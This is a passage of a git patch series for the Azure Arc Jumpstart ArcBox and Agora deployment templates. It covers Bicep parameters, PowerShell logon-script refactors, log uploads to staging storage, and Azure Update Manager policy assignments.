b/azure_jumpstart_ag/retail/bicep/clientVm/clientVm.bicep @@ -87,6 +87,9 @@ param namingGuid string @description('The agora industry to be deployed') param industry string = 'retail' +@description('The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing.') +param AKSEEPinnedSchemaVersion string = 'useLatest' + var encodedPassword = base64(windowsAdminPassword) var bastionName = 'Ag-Bastion' var publicIpAddressName = deployBastion == false ? '${vmName}-PIP' : '${bastionName}-PIP' @@ -201,7 +204,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-11-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/PowerShell/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${encodedPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azureLocation ${location} -stagingStorageAccountName ${storageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -githubUser ${githubUser} -aksStagingClusterName ${aksStagingClusterName} -iotHubHostName ${iotHubHostName} -acrName ${acrName} -cosmosDBName ${cosmosDBName} -cosmosDBEndpoint ${cosmosDBEndpoint} -rdpPort ${rdpPort} -githubAccount ${githubAccount} -githubBranch ${githubBranch} -githubPAT ${githubPAT} -adxClusterName ${adxClusterName} -namingGuid ${namingGuid} -industry ${industry}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${encodedPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azureLocation ${location} -stagingStorageAccountName ${storageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -githubUser ${githubUser} -aksStagingClusterName ${aksStagingClusterName} -iotHubHostName ${iotHubHostName} -acrName ${acrName} -cosmosDBName ${cosmosDBName} -cosmosDBEndpoint ${cosmosDBEndpoint} -rdpPort ${rdpPort} -githubAccount ${githubAccount} -githubBranch ${githubBranch} -githubPAT ${githubPAT} -adxClusterName ${adxClusterName} -namingGuid ${namingGuid} -industry ${industry} -AKSEEPinnedSchemaVersion ${AKSEEPinnedSchemaVersion}' } } } diff --git a/azure_jumpstart_ag/retail/bicep/main.bicep b/azure_jumpstart_ag/retail/bicep/main.bicep index cd8a34fb62..0be0886226 100644 --- a/azure_jumpstart_ag/retail/bicep/main.bicep +++ b/azure_jumpstart_ag/retail/bicep/main.bicep @@ -83,6 +83,11 @@ param rdpPort string = '3389' @description('The agora industry to be deployed') param industry string = 'retail' +@description('''The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing. +To pin a specific version, use the format '1.13'. To use the latest schema version, use 'useLatest'. +''') +param AKSEEPinnedSchemaVersion string = '1.13' + var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_ag/' module mgmtArtifactsAndPolicyDeployment 'mgmt/mgmtArtifacts.bicep' = { @@ -152,6 +157,7 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { adxClusterName: adxClusterName namingGuid: namingGuid industry: industry + AKSEEPinnedSchemaVersion: AKSEEPinnedSchemaVersion } } From d8654d1cf7a9dfb745b7fd73dbd7150814d7d6bd Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 31 Jul 2024 12:32:07 +0300 Subject: [PATCH 365/506] Refactor cluster name variables in DataOpsLogonScript.ps1 --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 9 ++++++--- azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 | 9 ++++++--- 2 files changed, 12 insertions(+), 6 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index a6d9a34f94..87f1860e77 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -5,11 +5,14 @@ $Env:ArcBoxIconDir = "C:\ArcBox\Icons" $Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" $Env:AZCOPY_AUTO_LOGIN_TYPE = "MSI" $namingPrefix = ($Env:namingPrefix).toLower() +$k3sArcDataClusterName = ($Env:k3sArcDataClusterName).toLower() +$aksArcClusterName = ($Env:aksArcClusterName).toLower() +$aksdrArcClusterName = ($Env:aksdrArcClusterName).toLower() $clusters = @( - [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; dataController = "$Env:k3sArcDataClusterName-dc" ; customLocation = "$Env:k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-datasvc-k3s" } - [pscustomobject]@{clusterName = $Env:aksArcClusterName ; dataController = "$Env:aksArcClusterName-dc" ; customLocation = "$Env:aksArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'aks' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aks" } - [pscustomobject]@{clusterName = $Env:aksdrArcClusterName ; dataController = "$Env:aksdrArcClusterName-dc" ; customLocation = "$Env:aksdrArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'DisasterRecovery' ; context = 'aks-dr'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aksdr" } + [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; dataController = "$k3sArcDataClusterName-dc" ; customLocation = "$k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-datasvc-k3s" } + [pscustomobject]@{clusterName = $Env:aksArcClusterName ; dataController = "$aksArcClusterName-dc" ; customLocation = "$aksArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'aks' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aks" } + [pscustomobject]@{clusterName = $Env:aksdrArcClusterName ; dataController = "$aksdrArcClusterName-dc" ; customLocation = "$aksdrArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'DisasterRecovery' ; context = 'aks-dr'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aksdr" } ) Start-Transcript -Path $Env:ArcBoxLogsDir\DataOpsLogonScript.log diff --git a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 index ef9ced5392..5a4f0a3205 100644 --- a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 @@ -2,6 +2,9 @@ $Env:TempDir = "C:\Temp" $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" +$k3sArcDataClusterName = ($Env:k3sArcDataClusterName).toLower() +$aksArcClusterName = ($Env:aksArcClusterName).toLower() +$aksdrArcClusterName = ($Env:aksdrArcClusterName).toLower() Start-Transcript -Path "$Env:ArcBoxLogsDir\DeploySQLMIADAuth.log" @@ -58,11 +61,11 @@ else { $sqlInstances = @( - [pscustomobject]@{instanceName = 'k3s-sql'; dataController = "$Env:k3sArcDataClusterName-dc"; customLocation = "$Env:k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-datasvc-k3s" } + [pscustomobject]@{instanceName = 'k3s-sql'; dataController = "$k3sArcDataClusterName-dc"; customLocation = "$Env:k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-datasvc-k3s" } - [pscustomobject]@{instanceName = 'aks-sql'; dataController = "$Env:aksArcClusterName-dc" ; customLocation = "$Env:aksArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'aks'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aks" } + [pscustomobject]@{instanceName = 'aks-sql'; dataController = "$aksArcClusterName-dc" ; customLocation = "$Env:aksArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'aks'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aks" } - [pscustomobject]@{instanceName = 'aks-dr-sql'; dataController = "$Env:aksdrArcClusterName-dc" ; customLocation = "$Env:aksdrArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'DisasterRecovery' ; context = 'aks-dr'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aksdr" } + [pscustomobject]@{instanceName = 'aks-dr-sql'; dataController = "$aksdrArcClusterName-dc" ; customLocation = "$Env:aksdrArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'DisasterRecovery' ; context = 'aks-dr'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aksdr" } ) $sqlmiouName = "ArcSQLMI" From a8d950d252ec2dde76f6ec4e9ea43a0e140e9488 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 31 Jul 2024 12:34:46 +0300 Subject: [PATCH 366/506] Refactor cluster name variables in DeploySQLMIADAuth.ps1 --- azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 index 5a4f0a3205..a008f2d108 100644 --- a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 @@ -61,11 +61,11 @@ else { $sqlInstances = @( - [pscustomobject]@{instanceName = 'k3s-sql'; dataController = "$k3sArcDataClusterName-dc"; customLocation = "$Env:k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-datasvc-k3s" } + [pscustomobject]@{instanceName = 'k3s-sql'; dataController = "$k3sArcDataClusterName-dc"; customLocation = "$k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-datasvc-k3s" } - [pscustomobject]@{instanceName = 'aks-sql'; dataController = "$aksArcClusterName-dc" ; customLocation = "$Env:aksArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'aks'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aks" } + [pscustomobject]@{instanceName = 'aks-sql'; dataController = "$aksArcClusterName-dc" ; customLocation = "$aksArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'aks'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aks" } - [pscustomobject]@{instanceName = 'aks-dr-sql'; dataController = "$aksdrArcClusterName-dc" ; customLocation = "$Env:aksdrArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'DisasterRecovery' ; context = 'aks-dr'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aksdr" } + [pscustomobject]@{instanceName = 'aks-dr-sql'; dataController = "$aksdrArcClusterName-dc" ; customLocation = "$aksdrArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'DisasterRecovery' ; context = 'aks-dr'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aksdr" } ) $sqlmiouName = "ArcSQLMI" From 49e8d6a34687aedaec82e44503ef4e72ca0b9101 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 31 Jul 2024 16:35:35 +0300 Subject: [PATCH 367/506] testing --- azure_jumpstart_arcbox/artifacts/dataController.json | 3 ++- azure_jumpstart_arcbox/artifacts/installK3s.sh | 4 ++-- azure_jumpstart_arcbox/artifacts/sqlmiAD.json | 3 ++- 3 files changed, 6 insertions(+), 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/dataController.json b/azure_jumpstart_arcbox/artifacts/dataController.json index 831da64b8b..ae0a8856a4 100644 --- a/azure_jumpstart_arcbox/artifacts/dataController.json +++ b/azure_jumpstart_arcbox/artifacts/dataController.json @@ -40,7 +40,8 @@ "type": "securestring" }, "resourceTags": { - "type": "object" + "type": "object", + "defaultValue": {} }, "dockerRegistryCredential": { "type": "string" diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 1fab57bd47..ce9381955b 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -197,5 +197,5 @@ fi echo "" echo "Uploading the script logs to staging storage" echo "" -log="/home/${adminUsername}/jumpstart_logs/installK3s.log" -azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName/installK3s-$vmName.log" \ No newline at end of file +#log="/home/${adminUsername}/jumpstart_logs/installK3s.log" +#azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName/installK3s-$vmName.log" \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/sqlmiAD.json b/azure_jumpstart_arcbox/artifacts/sqlmiAD.json index 4f6d8238f7..017e71a5ba 100644 --- a/azure_jumpstart_arcbox/artifacts/sqlmiAD.json +++ b/azure_jumpstart_arcbox/artifacts/sqlmiAD.json @@ -74,7 +74,8 @@ "type": "int" }, "resourceTags": { - "type": "object" + "type": "object", + "defaultValue": {} }, "apiVersion": { "type": "string" From 8c8a024bff217becf4307a88f3bf4f2b6611e5e8 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 31 Jul 2024 16:50:28 +0300 Subject: [PATCH 368/506] chore: Restart computer after creating scheduled tasks --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 16412530e9..4ee5ba7b65 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -353,7 +353,7 @@ if ($flavor -eq "ITPro") { # Creating scheduled task for ArcServersLogonScript.ps1 $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 Register-ScheduledTask -TaskName "ArcServersLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force - + Restart-Computer -Force } if ($flavor -eq "DevOps") { @@ -364,7 +364,7 @@ if ($flavor -eq "DevOps") { # Creating scheduled task for DevOpsLogonScript.ps1 $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 Register-ScheduledTask -TaskName "DevOpsLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force - + Restart-Computer -Force } if ($flavor -eq "DataOps") { From 5f43eeec4cd8b8d91ff07c9c5d3d613bd1783bb6 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 31 Jul 2024 18:01:13 +0300 Subject: [PATCH 369/506] Refactor installK3s.sh to use absolute path for log file --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index ce9381955b..fe3420a55c 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -197,5 +197,5 @@ fi echo "" echo "Uploading the script logs to staging storage" echo "" -#log="/home/${adminUsername}/jumpstart_logs/installK3s.log" -#azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName/installK3s-$vmName.log" \ No newline at end of file +log="/home/$adminUsername/jumpstart_logs/installK3s.log" +azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName/installK3s-$vmName.log" \ No newline at end of file From 14c0f4e84c7f27ba00ce63239950b84020aad253 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 31 Jul 2024 18:05:58 +0300 Subject: [PATCH 370/506] Update naming prefix description in main.bicep --- azure_jumpstart_arcbox/bicep/main.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 6b79ae4389..d0ab951ed8 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -69,7 +69,7 @@ param resourceTags object = { } @maxLength(7) -@description('The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19') +@description('The naming prefix for the nested virtual machines. The maximum length for the naming prefix is 7 characters,example: `ArcBox-Win2k19`') param namingPrefix string = 'ArcBox' var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' From e912f6ef0f9c418309fdce300775df5eeb23f43b Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Thu, 1 Aug 2024 08:59:08 +0200 Subject: [PATCH 371/506] Bugfix - naming convention for VMs Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 index ac37dd8685..a07fbf02f2 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 @@ -1,7 +1,7 @@ BeforeDiscovery { $namingPrefix = $env:namingPrefix - $VMs = @("$namingPrefixStage-SQL", "$namingPrefixStage-Ubuntu-01", "$namingPrefixStage-Ubuntu-02","$namingPrefixStage-Win2K19","$namingPrefixStage-Win2K22") + $VMs = @("$namingPrefix-SQL", "$namingPrefix-Ubuntu-01", "$namingPrefix-Ubuntu-02","$namingPrefix-Win2K19","$namingPrefix-Win2K22") $null = Connect-AzAccount -Identity -Tenant $env:tenantId -Subscription $env:subscriptionId } From 1fad4a330f534d36683c96b92d2b056ca9f97b51 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Thu, 1 Aug 2024 08:10:14 +0000 Subject: [PATCH 372/506] Added Azure Update Manager policy assignments Signed-off-by: Jan Egil Ring --- .../bicep/mgmt/policyAzureArc.bicep | 79 +++++++++++++++++++ 1 file changed, 79 insertions(+) diff --git a/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep b/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep index 78dffa8ac7..2baafaa765 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep @@ -12,6 +12,9 @@ param resourceTags object = { Solution: 'jumpstart_arcbox' } +param azureUpdateManagerArcPolicyId string = '/providers/Microsoft.Authorization/policyDefinitions/bfea026e-043f-4ff4-9d1b-bf301ca7ff46' +param azureUpdateManagerAzurePolicyId string = '/providers/Microsoft.Authorization/policyDefinitions/59efceea-0c96-497e-a4a1-4eb2290dac15' + param tagsRoleDefinitionId string = '/subscriptions/${subscription().subscriptionId}/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c' var policies = [ @@ -124,3 +127,79 @@ resource policy_tagging_resources 'Microsoft.Authorization/roleAssignments@2020- principalType: 'ServicePrincipal' } }] + +resource updateManagerArcPolicyLinux 'Microsoft.Authorization/policyAssignments@2024-04-01' = { + name: '(ArcBox) Enable Azure Update Manager for Arc-enabled Linux machines' + location: azureLocation + scope: resourceGroup() + identity: { + type: 'SystemAssigned' + } + properties:{ + displayName: '(ArcBox) Enable Azure Update Manager for Arc-enabled Linux machines' + description: 'Enable Azure Update Manager for Arc-enabled machines' + policyDefinitionId: azureUpdateManagerArcPolicyId + parameters: { + osType: { + value: 'Linux' + } + } + } +} + +resource updateManagerArcPolicyWindows 'Microsoft.Authorization/policyAssignments@2024-04-01' = { + name: '(ArcBox) Enable Azure Update Manager for Arc-enabled Windows machines' + location: azureLocation + scope: resourceGroup() + identity: { + type: 'SystemAssigned' + } + properties:{ + displayName: '(ArcBox) Enable Azure Update Manager for Arc-enabled Windows machines' + description: 'Enable Azure Update Manager for Arc-enabled machines' + policyDefinitionId: azureUpdateManagerArcPolicyId + parameters: { + osType: { + value: 'Windows' + } + } + } +} + +resource updateManagerAzurePolicyWindows 'Microsoft.Authorization/policyAssignments@2024-04-01' = { + name: '(ArcBox) Enable Azure Update Manager for Azure Windows machines' + location: azureLocation + scope: resourceGroup() + identity: { + type: 'SystemAssigned' + } + properties:{ + displayName: '(ArcBox) Enable Azure Update Manager for Azure Windows machines' + description: 'Enable Azure Update Manager for Azure machines' + policyDefinitionId: azureUpdateManagerAzurePolicyId + parameters: { + osType: { + value: 'Windows' + } + } + } +} + +resource updateManagerAzurePolicyLinux 'Microsoft.Authorization/policyAssignments@2024-04-01' = { + name: '(ArcBox) Enable Azure Update Manager for Azure Linux machines' + location: azureLocation + scope: resourceGroup() + identity: { + type: 'SystemAssigned' + } + properties:{ + displayName: '(ArcBox) Enable Azure Update Manager for Azure Linux machines' + description: 'Enable Azure Update Manager for Azure machines' + policyDefinitionId: azureUpdateManagerAzurePolicyId + parameters: { + osType: { + value: 'Linux' + } + } + } +} From a2138e1e62f5de3e42b83de98e2ad7b8e038f46a Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Thu, 1 Aug 2024 09:02:14 +0000 Subject: [PATCH 373/506] Bugfix - remove Restart-Computer Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 2 -- 1 file changed, 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 4ee5ba7b65..ac0c4fa81e 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -353,7 +353,6 @@ if ($flavor -eq "ITPro") { # Creating scheduled task for ArcServersLogonScript.ps1 $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 Register-ScheduledTask -TaskName "ArcServersLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force - Restart-Computer -Force } if ($flavor -eq "DevOps") { @@ -364,7 +363,6 @@ if ($flavor -eq "DevOps") { # Creating scheduled task for DevOpsLogonScript.ps1 $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 Register-ScheduledTask -TaskName "DevOpsLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force - Restart-Computer -Force } if ($flavor -eq "DataOps") { From 5c312bd661b13215a0a25bf240a9d27344dacad3 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Thu, 1 Aug 2024 12:25:04 +0000 Subject: [PATCH 374/506] Updated description for parameter namingPrefix Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/bicep/main.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index d0ab951ed8..cf200680e0 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -69,7 +69,7 @@ param resourceTags object = { } @maxLength(7) -@description('The naming prefix for the nested virtual machines. The maximum length for the naming prefix is 7 characters,example: `ArcBox-Win2k19`') +@description('The naming prefix for the nested virtual machines and all Azure resources deployed. The maximum length for the naming prefix is 7 characters,example: `ArcBox-Win2k19`') param namingPrefix string = 'ArcBox' var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' From 8d77ba858a52ccfe329bfc98de22947fa93f3557 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Thu, 1 Aug 2024 12:29:06 +0000 Subject: [PATCH 375/506] Bugfix for SSH access. Added triggering update assessment for Update Manager. Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 8c885cbad6..75bf375be2 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -448,13 +448,13 @@ $payLoad = @" $Command = "sudo sh /home/$nestedLinuxUsername/installArcAgentModifiedUbuntu.sh" $(Invoke-SSHCommand -SSHSession $ubuntuSession -Command $Command -Timeout 600 -WarningAction SilentlyContinue).Output - Write-Header "Enabling SSH access to Arc-enabled servers" + Write-Header "Enabling SSH access and triggering update assessment for Arc-enabled servers" $VMs = @("$namingPrefix-SQL", "$namingPrefix-Ubuntu-01", "$namingPrefix-Ubuntu-02", "$namingPrefix-Win2K19", "$namingPrefix-Win2K22") $VMs | ForEach-Object -Parallel { - $null = Connect-AzAccount -Identity -Tenant $tenantId -Subscription $subscriptionId -Scope Process -WarningAction SilentlyContinue + $null = Connect-AzAccount -Identity -Tenant $using:tenantId -Subscription $using:subscriptionId -Scope Process -WarningAction SilentlyContinue $vm = $PSItem - $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $resourceGroup -SubscriptionId $subscriptionId + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $using:resourceGroup -SubscriptionId $using:subscriptionId $connectedMachineEndpoint = (Invoke-AzRestMethod -Method get -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default?api-version=2023-03-15").Content | ConvertFrom-Json if (-not ($connectedMachineEndpoint.properties | Where-Object { $_.type -eq "default" -and $_.provisioningState -eq "Succeeded" })) { @@ -470,6 +470,10 @@ $payLoad = @" else { Write-Output "SSH already enabled on $($connectedMachine.Name)" } + + Write-Output "Triggering Update Manager assessment on $($connectedMachine.Name)" + $null = Invoke-AzRestMethod -Method POST -Path "/subscriptions/$($using:subscriptionId)/resourceGroups/$($using:resourceGroup)/providers/Microsoft.HybridCompute/machines/$($connectedMachine.Name)/assessPatches?api-version=2020-08-15-preview" -Payload '{}' + } } elseif ($Env:flavor -eq "DataOps") { @@ -490,6 +494,10 @@ $payLoad = @" else { Write-Output "SSH already enabled on $($connectedMachine.Name)" } + + Write-Output "Triggering Update Manager assessment on $($connectedMachine.Name)" + $null = Invoke-AzRestMethod -Method POST -Path "/subscriptions/$($using:subscriptionId)/resourceGroups/$($using:resourceGroup)/providers/Microsoft.HybridCompute/machines/$($connectedMachine.Name)/assessPatches?api-version=2020-08-15-preview" -Payload '{}' + } # Removing the LogonScript Scheduled Task so it won't run on next reboot From a889c79df9025b03bb54b4509ad14cbc4be823b6 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 1 Aug 2024 16:34:23 +0300 Subject: [PATCH 376/506] chore: Refactor ArcServersLogonScript.ps1 for improved readability and reliability --- .../artifacts/ArcServersLogonScript.ps1 | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 75bf375be2..3eda2213bf 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -177,7 +177,7 @@ if ($Env:flavor -ne "DevOps") { Start-Sleep -Seconds 5 Write-Header "Renaming the nested SQL VM" - Invoke-Command -VMName $SQLvmName -ScriptBlock { Rename-Computer -NewName $using:SQLvmName -Restart } -Credential $winCreds + Invoke-Command -VMName $SQLvmName -ScriptBlock { Rename-Computer -NewName $using:SQLvmName; Restart-Computer -Force -Wait } -Credential $winCreds Start-Sleep -Seconds 15 @@ -403,8 +403,8 @@ $payLoad = @" # Renaming the nested VMs Write-Header "Renaming the nested Windows VMs" - Invoke-Command -VMName $Win2k19vmName -ScriptBlock { Rename-Computer -newName $using:Win2k19vmName -Restart } -Credential $winCreds - Invoke-Command -VMName 